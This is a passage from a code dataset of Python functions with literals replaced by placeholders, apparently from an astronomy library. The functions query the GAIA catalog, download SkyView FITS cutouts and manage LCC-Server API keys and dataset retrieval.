passed will be cancelled but its input request\n        parameters and the result URL provided by the service will be saved. If\n        this function is then called later with these same input request\n        parameters, it will check if the query finally finished and a result is\n        available. If so, will download the results instead of submitting a new\n        query. If it's not done yet, will start waiting for results again. To\n        force launch a new query with the same request parameters, set the\n        `forcefetch` kwarg to True.\n\n    Returns\n    -------\n\n    dict\n        This returns a dict of the following form::\n\n            {'params':dict of the input params used for the query,\n             'provenance':'cache' or 'new download',\n             'result':path to the file on disk with the downloaded data table}", "id": "f14751:m0"}
{"signature": "def objectlist_conesearch(racenter,<EOL>declcenter,<EOL>searchradiusarcsec,<EOL>gaia_mirror=None,<EOL>columns=('<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT:l>','<STR_LIT:b>',<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>'),<EOL>extra_filter=None,<EOL>returnformat='<STR_LIT>',<EOL>forcefetch=False,<EOL>cachedir='<STR_LIT>',<EOL>verbose=True,<EOL>timeout=<NUM_LIT>,<EOL>refresh=<NUM_LIT>,<EOL>maxtimeout=<NUM_LIT>,<EOL>maxtries=<NUM_LIT:3>,<EOL>complete_query_later=True):", "body": "<EOL>query = (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>if extra_filter is not None:<EOL><INDENT>extra_filter_str = '<STR_LIT>' % extra_filter<EOL><DEDENT>else:<EOL><INDENT>extra_filter_str = '<STR_LIT>'<EOL><DEDENT>formatted_query = query.format(ra_center=racenter,<EOL>decl_center=declcenter,<EOL>search_radius=searchradiusarcsec/<NUM_LIT>,<EOL>extra_filter_str=extra_filter_str,<EOL>columns='<STR_LIT:U+002CU+0020>'.join(columns))<EOL>return tap_query(formatted_query,<EOL>gaia_mirror=gaia_mirror,<EOL>returnformat=returnformat,<EOL>forcefetch=forcefetch,<EOL>cachedir=cachedir,<EOL>verbose=verbose,<EOL>timeout=timeout,<EOL>refresh=refresh,<EOL>maxtimeout=maxtimeout,<EOL>maxtries=maxtries,<EOL>complete_query_later=complete_query_later)<EOL>", "docstring": "This queries the GAIA TAP service for a list of objects near the coords.\n\n    Runs a conesearch around `(racenter, declcenter)` with radius in arcsec of\n    `searchradiusarcsec`.\n\n    Parameters\n    ----------\n\n    racenter,declcenter : float\n        The center equatorial coordinates in decimal degrees.\n\n    searchradiusarcsec : float\n        The search radius of the cone-search in arcseconds.\n\n    gaia_mirror : {'gaia','heidelberg','vizier'} or None\n        This is the key used to select a GAIA catalog mirror from the\n        `GAIA_URLS` dict above. If set, the specified mirror will be used. If\n        None, a random mirror chosen from that dict will be used.\n\n    columns : sequence of str\n        This indicates which columns from the GAIA table to request for the\n        objects found within the search radius.\n\n    extra_filter: str or None\n        If this is provided, must be a valid ADQL filter string that is used to\n        further filter the cone-search results.\n\n    returnformat : {'csv','votable','json'}\n        The returned file format to request from the GAIA catalog service.\n\n    forcefetch : bool\n        If this is True, the query will be retried even if cached results for\n        it exist.\n\n    cachedir : str\n        This points to the directory where results will be downloaded.\n\n    verbose : bool\n        If True, will indicate progress and warn of any issues.\n\n    timeout : float\n        This sets the amount of time in seconds to wait for the service to\n        respond to our initial request.\n\n    refresh : float\n        This sets the amount of time in seconds to wait before checking if the\n        result file is available. If the results file isn't available after\n        `refresh` seconds have elapsed, the function will wait for `refresh`\n        seconds continuously, until `maxtimeout` is reached or the results file\n        becomes available.\n\n    maxtimeout : float\n        The maximum amount of time in seconds to wait for a result to become\n        available after submitting our query request.\n\n    maxtries : int\n        The maximum number of tries (across all mirrors tried) to make to either\n        submit the request or download the results, before giving up.\n\n    completequerylater : bool\n        If set to True, a submitted query that does not return a result before\n        `maxtimeout` has passed will be cancelled but its input request\n        parameters and the result URL provided by the service will be saved. If\n        this function is then called later with these same input request\n        parameters, it will check if the query finally finished and a result is\n        available. If so, will download the results instead of submitting a new\n        query. If it's not done yet, will start waiting for results again. To\n        force launch a new query with the same request parameters, set the\n        `forcefetch` kwarg to True.\n\n    Returns\n    -------\n\n    dict\n        This returns a dict of the following form::\n\n            {'params':dict of the input params used for the query,\n             'provenance':'cache' or 'new download',\n             'result':path to the file on disk with the downloaded data table}", "id": "f14751:m1"}
{"signature": "def objectlist_radeclbox(radeclbox,<EOL>gaia_mirror=None,<EOL>columns=('<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT:l>','<STR_LIT:b>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>'),<EOL>extra_filter=None,<EOL>returnformat='<STR_LIT>',<EOL>forcefetch=False,<EOL>cachedir='<STR_LIT>',<EOL>verbose=True,<EOL>timeout=<NUM_LIT>,<EOL>refresh=<NUM_LIT>,<EOL>maxtimeout=<NUM_LIT>,<EOL>maxtries=<NUM_LIT:3>,<EOL>complete_query_later=True):", "body": "<EOL>query = (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>ra_min, ra_max, decl_min, decl_max = radeclbox<EOL>ra_center = (ra_max + ra_min)/<NUM_LIT><EOL>decl_center = (decl_max + decl_min)/<NUM_LIT><EOL>ra_width = ra_max - ra_min<EOL>decl_height = decl_max - decl_min<EOL>if extra_filter is not None:<EOL><INDENT>extra_filter_str = '<STR_LIT>' % extra_filter<EOL><DEDENT>else:<EOL><INDENT>extra_filter_str = '<STR_LIT>'<EOL><DEDENT>formatted_query = query.format(columns='<STR_LIT:U+002CU+0020>'.join(columns),<EOL>extra_filter_str=extra_filter_str,<EOL>ra_center=ra_center,<EOL>decl_center=decl_center,<EOL>ra_width=ra_width,<EOL>decl_height=decl_height)<EOL>return tap_query(formatted_query,<EOL>gaia_mirror=gaia_mirror,<EOL>returnformat=returnformat,<EOL>forcefetch=forcefetch,<EOL>cachedir=cachedir,<EOL>verbose=verbose,<EOL>timeout=timeout,<EOL>refresh=refresh,<EOL>maxtimeout=maxtimeout,<EOL>maxtries=maxtries,<EOL>complete_query_later=complete_query_later)<EOL>", "docstring": "This queries the GAIA TAP service for a list of objects in an equatorial\n    coordinate box.\n\n    Parameters\n    ----------\n\n    radeclbox : sequence of four floats\n        This defines the box to search in::\n\n            [ra_min, ra_max, decl_min, decl_max]\n\n    gaia_mirror : {'gaia','heidelberg','vizier'} or None\n        This is the key used to select a GAIA catalog mirror from the\n        `GAIA_URLS` dict above. If set, the specified mirror will be used. If\n        None, a random mirror chosen from that dict will be used.\n\n    columns : sequence of str\n        This indicates which columns from the GAIA table to request for the\n        objects found within the search radius.\n\n    extra_filter: str or None\n        If this is provided, must be a valid ADQL filter string that is used to\n        further filter the cone-search results.\n\n    returnformat : {'csv','votable','json'}\n        The returned file format to request from the GAIA catalog service.\n\n    forcefetch : bool\n        If this is True, the query will be retried even if cached results for\n        it exist.\n\n    cachedir : str\n        This points to the directory where results will be downloaded.\n\n    verbose : bool\n        If True, will indicate progress and warn of any issues.\n\n    timeout : float\n        This sets the amount of time in seconds to wait for the service to\n        respond to our initial request.\n\n    refresh : float\n        This sets the amount of time in seconds to wait before checking if the\n        result file is available. If the results file isn't available after\n        `refresh` seconds have elapsed, the function will wait for `refresh`\n        seconds continuously, until `maxtimeout` is reached or the results file\n        becomes available.\n\n    maxtimeout : float\n        The maximum amount of time in seconds to wait for a result to become\n        available after submitting our query request.\n\n    maxtries : int\n        The maximum number of tries (across all mirrors tried) to make to either\n        submit the request or download the results, before giving up.\n\n    completequerylater : bool\n        If set to True, a submitted query that does not return a result before\n        `maxtimeout` has passed will be cancelled but its input request\n        parameters and the result URL provided by the service will be saved. If\n        this function is then called later with these same input request\n        parameters, it will check if the query finally finished and a result is\n        available. If so, will download the results instead of submitting a new\n        query. If it's not done yet, will start waiting for results again. To\n        force launch a new query with the same request parameters, set the\n        `forcefetch` kwarg to True.\n\n    Returns\n    -------\n\n    dict\n        This returns a dict of the following form::\n\n            {'params':dict of the input params used for the query,\n             'provenance':'cache' or 'new download',\n             'result':path to the file on disk with the downloaded data table}", "id": "f14751:m2"}
{"signature": "def objectid_search(gaiaid,<EOL>gaia_mirror=None,<EOL>columns=('<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT:l>','<STR_LIT:b>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>'),<EOL>returnformat='<STR_LIT>',<EOL>forcefetch=False,<EOL>cachedir='<STR_LIT>',<EOL>verbose=True,<EOL>timeout=<NUM_LIT>,<EOL>refresh=<NUM_LIT>,<EOL>maxtimeout=<NUM_LIT>,<EOL>maxtries=<NUM_LIT:3>,<EOL>complete_query_later=True):", "body": "<EOL>query = (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>formatted_query = query.format(columns='<STR_LIT:U+002CU+0020>'.join(columns),<EOL>gaiaid=gaiaid)<EOL>return tap_query(formatted_query,<EOL>gaia_mirror=gaia_mirror,<EOL>returnformat=returnformat,<EOL>forcefetch=forcefetch,<EOL>cachedir=cachedir,<EOL>verbose=verbose,<EOL>timeout=timeout,<EOL>refresh=refresh,<EOL>maxtimeout=maxtimeout,<EOL>maxtries=maxtries,<EOL>complete_query_later=complete_query_later)<EOL>", "docstring": "This queries the GAIA TAP service for a single GAIA source ID.\n\n    Parameters\n    ----------\n\n    gaiaid : str\n        The source ID of the object whose info will be collected.\n\n    gaia_mirror : {'gaia','heidelberg','vizier'} or None\n        This is the key used to select a GAIA catalog mirror from the\n        `GAIA_URLS` dict above. If set, the specified mirror will be used. If\n        None, a random mirror chosen from that dict will be used.\n\n    columns : sequence of str\n        This indicates which columns from the GAIA table to request for the\n        objects found within the search radius.\n\n    returnformat : {'csv','votable','json'}\n        The returned file format to request from the GAIA catalog service.\n\n    forcefetch : bool\n        If this is True, the query will be retried even if cached results for\n        it exist.\n\n    cachedir : str\n        This points to the directory where results will be downloaded.\n\n    verbose : bool\n        If True, will indicate progress and warn of any issues.\n\n    timeout : float\n        This sets the amount of time in seconds to wait for the service to\n        respond to our initial request.\n\n    refresh : float\n        This sets the amount of time in seconds to wait before checking if the\n        result file is available. If the results file isn't available after\n        `refresh` seconds have elapsed, the function will wait for `refresh`\n        seconds continuously, until `maxtimeout` is reached or the results file\n        becomes available.\n\n    maxtimeout : float\n        The maximum amount of time in seconds to wait for a result to become\n        available after submitting our query request.\n\n    maxtries : int\n        The maximum number of tries (across all mirrors tried) to make to either\n        submit the request or download the results, before giving up.\n\n    completequerylater : bool\n        If set to True, a submitted query that does not return a result before\n        `maxtimeout` has passed will be cancelled but its input request\n        parameters and the result URL provided by the service will be saved. If\n        this function is then called later with these same input request\n        parameters, it will check if the query finally finished and a result is\n        available. If so, will download the results instead of submitting a new\n        query. If it's not done yet, will start waiting for results again. To\n        force launch a new query with the same request parameters, set the\n        `forcefetch` kwarg to True.\n\n    Returns\n    -------\n\n    dict\n        This returns a dict of the following form::\n\n            {'params':dict of the input params used for the query,\n             'provenance':'cache' or 'new download',\n             'result':path to the file on disk with the downloaded data table}", "id": "f14751:m3"}
{"signature": "def get_stamp(ra, decl,<EOL>survey='<STR_LIT>',<EOL>scaling='<STR_LIT>',<EOL>sizepix=<NUM_LIT>,<EOL>forcefetch=False,<EOL>cachedir='<STR_LIT>',<EOL>timeout=<NUM_LIT>,<EOL>retry_failed=True,<EOL>verbose=True,<EOL>jitter=<NUM_LIT>):", "body": "<EOL>formposition = ['<STR_LIT>' % (ra, decl)]<EOL>formscaling = [scaling]<EOL>formparams = copy.deepcopy(SKYVIEW_PARAMS)<EOL>formparams['<STR_LIT>'] = formposition<EOL>formparams['<STR_LIT>'][<NUM_LIT:0>] = survey<EOL>formparams['<STR_LIT>'] = formscaling<EOL>formparams['<STR_LIT>'] = ['<STR_LIT:%s>' % sizepix]<EOL>if '<STR_LIT>' in cachedir:<EOL><INDENT>cachedir = os.path.expanduser(cachedir)<EOL><DEDENT>if not os.path.exists(cachedir):<EOL><INDENT>os.makedirs(cachedir)<EOL><DEDENT>cachekey = '<STR_LIT>' % (formposition[<NUM_LIT:0>], survey, scaling, sizepix)<EOL>cachekey = hashlib.sha256(cachekey.encode()).hexdigest()<EOL>cachefname = os.path.join(cachedir, '<STR_LIT>' % cachekey)<EOL>provenance = '<STR_LIT>'<EOL>if sizepix == <NUM_LIT>:<EOL><INDENT>oldcachekey = '<STR_LIT>' % (formposition[<NUM_LIT:0>], survey, scaling)<EOL>oldcachekey = hashlib.sha256(oldcachekey.encode()).hexdigest()<EOL>oldcachefname = os.path.join(cachedir, '<STR_LIT>' % oldcachekey)<EOL>if os.path.exists(oldcachefname):<EOL><INDENT>cachefname = oldcachefname<EOL><DEDENT><DEDENT>if forcefetch or (not os.path.exists(cachefname)):<EOL><INDENT>provenance = '<STR_LIT>'<EOL>time.sleep(random.randint(<NUM_LIT:1>,jitter))<EOL>try:<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % (<EOL>formposition[<NUM_LIT:0>],<EOL>survey,<EOL>scaling,<EOL>sizepix)<EOL>)<EOL><DEDENT>req = requests.get(SKYVIEW_URL, params=formparams, timeout=timeout)<EOL>req.raise_for_status()<EOL>resp = req.text<EOL>fitsurls = FITS_REGEX.findall(resp)<EOL>if fitsurls:<EOL><INDENT>for fitsurl in fitsurls:<EOL><INDENT>fullfitsurl = urljoin(FITS_BASEURL, fitsurl)<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % fullfitsurl)<EOL><DEDENT>fitsreq = requests.get(fullfitsurl, timeout=timeout)<EOL>with gzip.open(cachefname,'<STR_LIT:wb>') as outfd:<EOL><INDENT>outfd.write(fitsreq.content)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' %<EOL>formposition)<EOL>return None<EOL><DEDENT><DEDENT>except requests.exceptions.HTTPError as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT>' % repr(formposition))<EOL>return None<EOL><DEDENT>except requests.exceptions.Timeout as e:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(formposition), timeout))<EOL>return None<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT>' % repr(formposition))<EOL>return None<EOL><DEDENT><DEDENT>try:<EOL><INDENT>stampfits = pyfits.open(cachefname)<EOL>stampfits.close()<EOL>retdict = {<EOL>'<STR_LIT>':{'<STR_LIT>':ra,<EOL>'<STR_LIT>':decl,<EOL>'<STR_LIT>':survey,<EOL>'<STR_LIT>':scaling,<EOL>'<STR_LIT>':sizepix},<EOL>'<STR_LIT>':provenance,<EOL>'<STR_LIT>':cachefname<EOL>}<EOL>return retdict<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGERROR('<STR_LIT>' %<EOL>{'<STR_LIT>':ra,<EOL>'<STR_LIT>':decl,<EOL>'<STR_LIT>':survey,<EOL>'<STR_LIT>': scaling,<EOL>'<STR_LIT>': sizepix})<EOL>if retry_failed:<EOL><INDENT>return get_stamp(ra, decl,<EOL>survey=survey,<EOL>scaling=scaling,<EOL>sizepix=sizepix,<EOL>forcefetch=True,<EOL>cachedir=cachedir,<EOL>timeout=timeout,<EOL>verbose=verbose)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>", "docstring": "This gets a FITS cutout from the NASA GSFC SkyView service.\n\n    This downloads stamps in FITS format from the NASA SkyView service:\n\n    https://skyview.gsfc.nasa.gov/current/cgi/query.pl\n\n\n    Parameters\n    ----------\n\n    ra,decl : float\n        These are decimal equatorial coordinates for the cutout center.\n\n    survey : str\n        The survey name to get the stamp from. This is one of the\n        values in the 'SkyView Surveys' option boxes on the SkyView\n        webpage. Currently, we've only tested using 'DSS2 Red' as the value for\n        this kwarg, but the other ones should work in principle.\n\n    scaling : str\n        This is the pixel value scaling function to use.\n\n    sizepix : int\n        The width and height of the cutout are specified by this value.\n\n    forcefetch : bool\n        If True, will disregard any existing cached copies of the stamp already\n        downloaded corresponding to the requested center coordinates and\n        redownload the FITS from the SkyView service.\n\n    cachedir : str\n        This is the path to the astrobase cache directory. All downloaded FITS\n        stamps are stored here as .fits.gz files so we can immediately respond\n        with the cached copy when a request is made for a coordinate center\n        that's already been downloaded.\n\n    timeout : float\n        Sets the timeout in seconds to wait for a response from the NASA SkyView\n        service.\n\n    retry_failed : bool\n        If the initial request to SkyView fails, and this is True, will retry\n        until it succeeds.\n\n    verbose : bool\n        If True, indicates progress.\n\n    jitter : float\n        This is used to control the scale of the random wait in seconds before\n        starting the query. Useful in parallelized situations.\n\n    Returns\n    -------\n\n    dict\n        A dict of the following form is returned::\n\n            {\n                'params':{input ra, decl and kwargs used},\n                'provenance':'cached' or 'new download',\n                'fitsfile':FITS file to which the cutout was saved on disk\n            }", "id": "f14752:m0"}
{"signature": "def check_existing_apikey(lcc_server):", "body": "USERHOME = os.path.expanduser('<STR_LIT>')<EOL>APIKEYFILE = os.path.join(USERHOME,<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>' % lcc_server.replace(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>).replace(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>))<EOL>if os.path.exists(APIKEYFILE):<EOL><INDENT>fileperm = oct(os.stat(APIKEYFILE)[stat.ST_MODE])<EOL>if fileperm == '<STR_LIT>' or fileperm == '<STR_LIT>':<EOL><INDENT>with open(APIKEYFILE) as infd:<EOL><INDENT>apikey, expires = infd.read().strip('<STR_LIT:\\n>').split()<EOL><DEDENT>now = datetime.now(utc)<EOL>if sys.version_info[:<NUM_LIT:2>] < (<NUM_LIT:3>,<NUM_LIT:7>):<EOL><INDENT>expdt = datetime.strptime(<EOL>expires.replace('<STR_LIT>','<STR_LIT>'),<EOL>'<STR_LIT>'<EOL>).replace(tzinfo=utc)<EOL><DEDENT>else:<EOL><INDENT>expdt = datetime.fromisoformat(expires.replace('<STR_LIT>','<STR_LIT>'))<EOL><DEDENT>if now > expdt:<EOL><INDENT>LOGERROR('<STR_LIT>' % expires)<EOL>return False, apikey, expires<EOL><DEDENT>else:<EOL><INDENT>return True, apikey, expires<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% APIKEYFILE)<EOL>return False, None, None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'.format(apikeyfile=APIKEYFILE))<EOL>return False, None, None<EOL><DEDENT>", "docstring": "This validates if an API key for the specified LCC-Server is available.\n\n    API keys are stored using the following file scheme::\n\n        ~/.astrobase/lccs/apikey-domain.of.lccserver.org\n\n    e.g. for the HAT LCC-Server at https://data.hatsurveys.org::\n\n        ~/.astrobase/lccs/apikey-https-data.hatsurveys.org\n\n    Parameters\n    ----------\n\n    lcc_server : str\n        The base URL of the LCC-Server for which the existence of API keys will\n        be checked.\n\n    Returns\n    -------\n\n    (apikey_ok, apikey_str, expiry) : tuple\n        The returned tuple contains the status of the API key, the API key\n        itself if present, and its expiry date if present.", "id": "f14753:m0"}
{"signature": "def get_new_apikey(lcc_server):", "body": "USERHOME = os.path.expanduser('<STR_LIT>')<EOL>APIKEYFILE = os.path.join(USERHOME,<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>' % lcc_server.replace(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>).replace(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>))<EOL>url = '<STR_LIT>' % lcc_server<EOL>resp = urlopen(url)<EOL>if resp.code == <NUM_LIT:200>:<EOL><INDENT>respdict = json.loads(resp.read())<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' %<EOL>lcc_server)<EOL>LOGERROR('<STR_LIT>' % resp.status_code)<EOL>return None<EOL><DEDENT>apikey = respdict['<STR_LIT:result>']['<STR_LIT>']<EOL>expires = respdict['<STR_LIT:result>']['<STR_LIT>']<EOL>if not os.path.exists(os.path.dirname(APIKEYFILE)):<EOL><INDENT>os.makedirs(os.path.dirname(APIKEYFILE))<EOL><DEDENT>with open(APIKEYFILE,'<STR_LIT:w>') as outfd:<EOL><INDENT>outfd.write('<STR_LIT>' % (apikey, expires))<EOL><DEDENT>os.chmod(APIKEYFILE, <NUM_LIT>)<EOL>LOGINFO('<STR_LIT>' % (lcc_server,<EOL>expires))<EOL>LOGINFO('<STR_LIT>' % APIKEYFILE)<EOL>return apikey, expires<EOL>", "docstring": "This gets a new API key from the specified LCC-Server.\n\n    NOTE: this only gets an anonymous API key. To get an API key tied to a user\n    account (and associated privilege level), see the `import_apikey` function\n    below.\n\n    Parameters\n    ----------\n\n    lcc_server : str\n        The base URL of the LCC-Server from where the API key will be fetched.\n\n    Returns\n    -------\n\n    (apikey, expiry) : tuple\n        This returns a tuple with the API key and its expiry date.", "id": "f14753:m1"}
{"signature": "def import_apikey(lcc_server, apikey_text_json):", "body": "USERHOME = os.path.expanduser('<STR_LIT>')<EOL>APIKEYFILE = os.path.join(USERHOME,<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>' % lcc_server.replace(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>).replace(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>))<EOL>respdict = json.loads(apikey_text_json)<EOL>apikey = respdict['<STR_LIT>']<EOL>expires = respdict['<STR_LIT>']<EOL>if not os.path.exists(os.path.dirname(APIKEYFILE)):<EOL><INDENT>os.makedirs(os.path.dirname(APIKEYFILE))<EOL><DEDENT>with open(APIKEYFILE,'<STR_LIT:w>') as outfd:<EOL><INDENT>outfd.write('<STR_LIT>' % (apikey, expires))<EOL><DEDENT>os.chmod(APIKEYFILE, <NUM_LIT>)<EOL>LOGINFO('<STR_LIT>' % (lcc_server,<EOL>expires))<EOL>LOGINFO('<STR_LIT>' % APIKEYFILE)<EOL>return apikey, expires<EOL>", "docstring": "This imports an API key from text and writes it to the cache dir.\n\n    Use this with the JSON text copied from the API key text box on your\n    LCC-Server user home page. The API key will thus be tied to the privileges\n    of that user account and can then access objects, datasets, and collections\n    marked as private for the user only or shared with that user.\n\n    Parameters\n    ----------\n\n    lcc_server : str\n        The base URL of the LCC-Server to get the API key for.\n\n    apikey_text_json : str\n        The JSON string from the API key text box on the user's LCC-Server home\n        page at `lcc_server/users/home`.\n\n    Returns\n    -------\n\n    (apikey, expiry) : tuple\n        This returns a tuple with the API key and its expiry date.", "id": "f14753:m2"}
{"signature": "def submit_post_searchquery(url, data, apikey):", "body": "<EOL>postdata = {}<EOL>for key in data:<EOL><INDENT>if key == '<STR_LIT>':<EOL><INDENT>postdata['<STR_LIT>'] = data[key]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>postdata['<STR_LIT>'] = data[key]<EOL><DEDENT>else:<EOL><INDENT>postdata[key] = data[key]<EOL><DEDENT><DEDENT>encoded_postdata = urlencode(postdata, doseq=True).encode()<EOL>if apikey:<EOL><INDENT>headers = {'<STR_LIT>':'<STR_LIT>' % apikey}<EOL><DEDENT>else:<EOL><INDENT>headers = {}<EOL><DEDENT>LOGINFO('<STR_LIT>' % url)<EOL>try:<EOL><INDENT>req = Request(url, data=encoded_postdata, headers=headers)<EOL>resp = urlopen(req)<EOL>if resp.code == <NUM_LIT:200>:<EOL><INDENT>for line in resp:<EOL><INDENT>data = json.loads(line)<EOL>msg = data['<STR_LIT:message>']<EOL>status = data['<STR_LIT:status>']<EOL>if status != '<STR_LIT>':<EOL><INDENT>LOGINFO('<STR_LIT>' % (status, msg))<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' % (status, msg))<EOL><DEDENT>if status in ('<STR_LIT>','<STR_LIT>'):<EOL><INDENT>setid = data['<STR_LIT:result>']['<STR_LIT>']<EOL>outpickle = os.path.join(os.path.expanduser('<STR_LIT>'),<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>' % setid)<EOL>if not os.path.exists(os.path.dirname(outpickle)):<EOL><INDENT>os.makedirs(os.path.dirname(outpickle))<EOL><DEDENT>with open(outpickle,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(data, outfd, pickle.HIGHEST_PROTOCOL)<EOL>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % outpickle)<EOL><DEDENT>return status, data, data['<STR_LIT:result>']['<STR_LIT>']<EOL><DEDENT>elif status == '<STR_LIT>':<EOL><INDENT>return status, data, None<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>data = json.load(resp)<EOL>msg = data['<STR_LIT:message>']<EOL>LOGERROR(msg)<EOL>return '<STR_LIT>', None, None<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % url)<EOL>return '<STR_LIT>', None, None<EOL><DEDENT><DEDENT><DEDENT>except HTTPError as e:<EOL><INDENT>LOGERROR('<STR_LIT>' % url)<EOL>LOGERROR('<STR_LIT>' % (e.code, e.reason))<EOL>return '<STR_LIT>', None, None<EOL><DEDENT>", "docstring": "This submits a POST query to an LCC-Server search API endpoint.\n\n    Handles streaming of the results, and returns the final JSON stream. Also\n    handles results that time out.\n\n    Parameters\n    ----------\n\n    url : str\n        The URL of the search API endpoint to hit. This is something like\n        `https://data.hatsurveys.org/api/conesearch`\n\n    data : dict\n        A dict of the search query parameters to pass to the search service.\n\n    apikey : str\n        The API key to use to access the search service. API keys are required\n        for all POST request made to an LCC-Server's API endpoints.\n\n    Returns\n    -------\n\n    (status_flag, data_dict, dataset_id) : tuple\n        This returns a tuple containing the status of the request: ('complete',\n        'failed', 'background', etc.), a dict parsed from the JSON result of the\n        request, and a dataset ID, which can be used to reconstruct the URL on\n        the LCC-Server where the results can be browsed.", "id": "f14753:m3"}
{"signature": "def retrieve_dataset_files(searchresult,<EOL>getpickle=False,<EOL>outdir=None,<EOL>apikey=None):", "body": "<EOL>if isinstance(searchresult, tuple):<EOL><INDENT>info, setid = searchresult[<NUM_LIT:1>:]<EOL><DEDENT>elif isinstance(searchresult, str) and os.path.exists(searchresult):<EOL><INDENT>with open(searchresult,'<STR_LIT:rb>') as infd:<EOL><INDENT>info = pickle.load(infd)<EOL><DEDENT>setid = info['<STR_LIT:result>']['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return None, None, None<EOL><DEDENT>dataset_pickle = '<STR_LIT>' % setid<EOL>dataset_csv = '<STR_LIT>' % setid<EOL>dataset_lczip = '<STR_LIT>' % setid<EOL>if outdir is None:<EOL><INDENT>localdir = os.getcwd()<EOL><DEDENT>else:<EOL><INDENT>localdir = outdir<EOL><DEDENT>server_scheme, server_netloc = urlparse(info['<STR_LIT:result>']['<STR_LIT>'])[:<NUM_LIT:2>]<EOL>dataset_pickle_link = '<STR_LIT>' % (server_scheme,<EOL>server_netloc,<EOL>dataset_pickle)<EOL>dataset_csv_link = '<STR_LIT>' % (server_scheme,<EOL>server_netloc,<EOL>dataset_csv)<EOL>dataset_lczip_link = '<STR_LIT>' % (server_scheme,<EOL>server_netloc,<EOL>dataset_lczip)<EOL>if getpickle:<EOL><INDENT>LOGINFO('<STR_LIT>' % dataset_pickle_link)<EOL>try:<EOL><INDENT>if os.path.exists(os.path.join(localdir, dataset_pickle)):<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>local_dataset_pickle = os.path.join(localdir,<EOL>dataset_pickle)<EOL><DEDENT>else:<EOL><INDENT>if apikey:<EOL><INDENT>headers = {'<STR_LIT>':'<STR_LIT>' % apikey}<EOL><DEDENT>else:<EOL><INDENT>headers = {}<EOL><DEDENT>req = Request(<EOL>dataset_pickle_link,<EOL>data=None,<EOL>headers=headers<EOL>)<EOL>resp = urlopen(req)<EOL>LOGINFO('<STR_LIT>' % dataset_pickle)<EOL>localf = os.path.join(localdir, dataset_pickle)<EOL>with open(localf, '<STR_LIT:wb>') as outfd:<EOL><INDENT>with resp:<EOL><INDENT>data = resp.read()<EOL>outfd.write(data)<EOL><DEDENT><DEDENT>LOGINFO('<STR_LIT>' % localf)<EOL>local_dataset_pickle = localf<EOL><DEDENT><DEDENT>except HTTPError as e:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(dataset_pickle_link, e.code, e.reason))<EOL>local_dataset_pickle = None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>local_dataset_pickle = None<EOL><DEDENT>LOGINFO('<STR_LIT>' % dataset_csv_link)<EOL>try:<EOL><INDENT>if os.path.exists(os.path.join(localdir, 